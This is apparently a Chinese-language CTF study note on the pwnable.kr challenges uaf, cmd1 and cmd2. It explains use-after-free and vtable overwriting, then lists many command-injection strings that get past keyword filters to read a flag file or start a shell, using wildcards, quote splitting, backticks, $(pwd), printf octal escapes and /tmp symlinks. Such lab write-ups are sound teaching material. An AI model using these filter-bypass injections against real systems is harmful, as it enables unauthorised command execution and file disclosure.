pwnable.kr第二遍---uaf cmd1 cmd2

>>>>uaf
C++程序逆向
gdb-peda
看对方服务器上虚表的地址x/3gx 0x11caca0???
通过虚表的index来完成函数调用
是非常有可能?还是一定会???
找到虚函数表??
地址的格式\x


use after free:
当一个内存块被释放之后再次被使用,下边这些情况:
1.内存被释放后,其对应的指针被设置为NULL,然后再次使用,程序会崩溃
2.内存块被释放后,其对应的指针没有被设置为NULL,然后在它下一次被使用
之前,没有代码对齐进行修改,那么程序很有可能可以正常运转
3.内存块被释放后,其对应的指针没有被设置为NULL,但是在他下一次使用之
前,有代码对这块内存进行了修改,那么当程序再次使用这块内存时,就很有
可能出现奇怪的问题


虚函数表:
每一个对象有一个vptr
Derive类继承Base类,那么Derive实例对象的虚函数表内容为:
首先是Base类的各个虚函数地址,接着是Derive类的各个虚函数地址
如果Derive重写/覆写了Base类中的同名函数
那么将虚函数表中的对应父类中函数地址改写为子类中函数地址


本题思路为:
堆中,申请了两个24bytes内存结构体
我们希望可以执行到give_shell函数
但是根据已有的exe我们只能调用introduce方法
所以就要想办法修改已经释放的内存
达到任意代码执行的目的


于是修改虚地址表指针,通过子类调用父类的give_shell方法


这个时候虚函数表还存在吗???
free掉了之后???
程序很有可能可以正常运转.......
free之后为什么还可以按照原来虚函数表的逻辑运行??




>>>>>cmd1
题目的思路是
需要获得system提供的Shell
在shell下获得ctf
那么需要用到system("/bin/sh")
其中"/bin/sh"是存放在argv[1]中的
或者直接执行"cat flag"??
而且要求argv[1]中不含有'flag' 'sh' 'tmp'子串


于是构造argv[1]
1.通过使用环境变量绕过filter()
于是我们可以设置环境变量如f=flag s=sh t=tmp等
如此一来不需要理会filter函数的功能
只需要正常的调用system函数读取flag文件即可
为什么执行"/bin/sh"不可以??? 可以的,就是输入的时候注意/bin/cat flag就好了


export f=flag;
./cmd1 "/bin/cat \$f"


2.可以直接绕过filter,不通过环境变量
这个使用的是函数临时变量的吧
那么这个和第一个方法的本质是一样的感觉
./cmd1 "a=ag;a=fl\$a;/bin/cat /home/cmd1/\$a"


3.利用通配符
./cmd1 "/bin/cat fl*"


4.使用more命令
./cmd1 "/bin/more *"
/bin/more命令
将文本文件的内容显示在终端上的工具块;一次一屏
如果more是从文件而不是管道读取的话,会显示目前内容的百分比
标准输出如果不是terminal的话
more和cat的功能像,但是more的每一个文件在输出之前都会有一个header
并且more遇到非文本文件 不会输出
而cat遇到二进制文件依然会输出
此题中可以尝试 "/bin/cat *" 和"/bin/more *"


5.将flag文件建立软连接(重定向?)
首先在pwn的服务器上,我们只能操作tmp文件夹
于是在/tmp文件夹下创建自己的文件目录
并将/home/cmd1/flag文件软连接到此目录下的link_file中
于是在当前目录下执行.cmd1 读取link_file
下述两种操作的区别?为什么不同
mkdir /tmp/leeham 
cd /tmp/leeham
ln -s /home/cmd1/flag ./link_file
OperationA:
/tmp/leeham目录下
/home/cmd1/cmd1 "/bin/cat ./link_file"
OperationB:
/home/cmd1目录下
./cmd1 "/bin/cat /tmp/leeham/link_file"


6.利用特殊字符
./cmd1 '/bin/cat fl""ag'
./cmd1 "/bin/cat fl''ag"
./cmd1 "/bin/cat 'f''l''a''g'"
......


7.grep command
global search regular expression and print out the line
强大的文本搜索工具,使用正则表达式搜索文本,并把匹配的行打印出来
grep命令常见用法:
在文件中搜索一个单词,命令会返回一个包含“match_pattern”的文本行:
grep match_pattern file_name
grep "match_pattern" file_name


./cmd1 "/bin/grep . *" #其中'.'是匹配的pattern;'*'是files
./cmd1 "/bin/grep fl *"
./cmd1 "/bin/grep 'fl' *"


8.vim工具
利用:e file(edit file)命令显示flag内容
./cmd1 "/usr/bin/vim"
:e flag


9.shell命令嵌套
./cmd1 "/bin/cat "fl\`echo ag\`"" #其中'\'是转义符;'`'是1左侧的反义符,不是单引
这里的echo的输出值"ag"与fl拼接


厉害啦!!!echo galf/. /bin/rev
rev [options][file...]
将指定文件输出到标准输出中,并且将每一行的字符顺序逆向
./cmd1 "/bin/cat \`/bin/echo galf/.|/bin/rev\`"
含义是将'galf/.'反向输出的结果给cat ...


./cdm1 "/bin/s\$(/bin/echo h)"????这个是构造/bin/sh
但是后来怎么使用!!
接下来执行的命令格式应该为:/bin/...
比如'/bin/cat flag' '/bin/ls'等等
这是为什么???
之前的题目是因为有了interactive??


>>>>>cmd2
这次加大了filter的力量
禁止输入'=' 'PATH' 'export' '/' '`' 'flag'内容
1.使用read命令
./cmd2 "read b转义符的作用,对普通字符和特殊字符?
read命令如果直接读取flag文件,需要一个缓存,然后输出
为什么不能下述方法??
./cmd2 "read 1

2.利用当前目录的表达形式'\'
cd /&&/home/cmd2/cmd2 '$(pwd)"bin"$(pwd)cat $(pwd)"home"$(pwd)"cmd2"$(pwd)"fl""ag"'
没有必要加那么多双引号,只需要在flag之间加避免filter就可以了
可以简化为
cd /&&/home/cmd2/cmd2 '$(pwd)bin$(pwd)cat $(pwd)home$(pwd)cmd2$(pwd)fl""ag'


shell中的&&命令 ???


3.comman -p???没查到


4.利用ascii码
话说这个没有懂
./cmd2 '$(echo "\057\0142\0151\0156......")'???
./cmd2 '$(printf \\057bin\\057cat)fl""ag'




ascii码&&转义字符
所有的ascii码都可以用"\"加数字来表示
C中定义了一些字母前加"\"来表示常见的那些不能显示的ASCII字符
如\0 \t \n等,成为转义字符,后边的字符不是他本来的ascii字符意思了


转义字符是ascii的一个子集?
american standard code for information interchange
ascii码使用指定的7位或者8位二进制数组合来表示128或256种可能的字符
使用其中二进制数(剩下的一位二进制位0)来表示所有的大写和小写字母,
数字0-9,标点符号,以及在美式英语中使用的特殊的控制字符


python ascii与字符之间的转换 ord chr
ord('f')......
chr(102)......
\0102\0108\097\0103==flag?


5.巧妙构造
mkdir /tmp/ca
ln -s /bin/cat /tmp/cat
cd /tmp/ca
ln -s /home/cmd2/flag ./f
/home/cmd2/cmd2 "\${PWD}t f"


问题:?????/
/home/cmd2/cmd2 "\${PWD}t f" y
/home/cmd2/cmd2 "${PWD}t f" n
/home/cmd2/cmd2 "\${pwd}t f" n
/home/cmd2/cmd2 "\$(PWD)t f" n
/home/cmd2/cmd2 "\$(pwd)t f" n
/home/cmd2/cmd2 '\$(pwd)t f' y
........


6.set -s 不懂啊?????
/home/cmd2/cmd2 'set -s'
/bin/cat /home/cmd2/flag


7.eval函数(JavaScript)
首先软连接cmd2和flag到当前的临时目录
然后执行过程中运用PWD
没有必要吧;;;复杂化了

你可能感兴趣的:(ctf)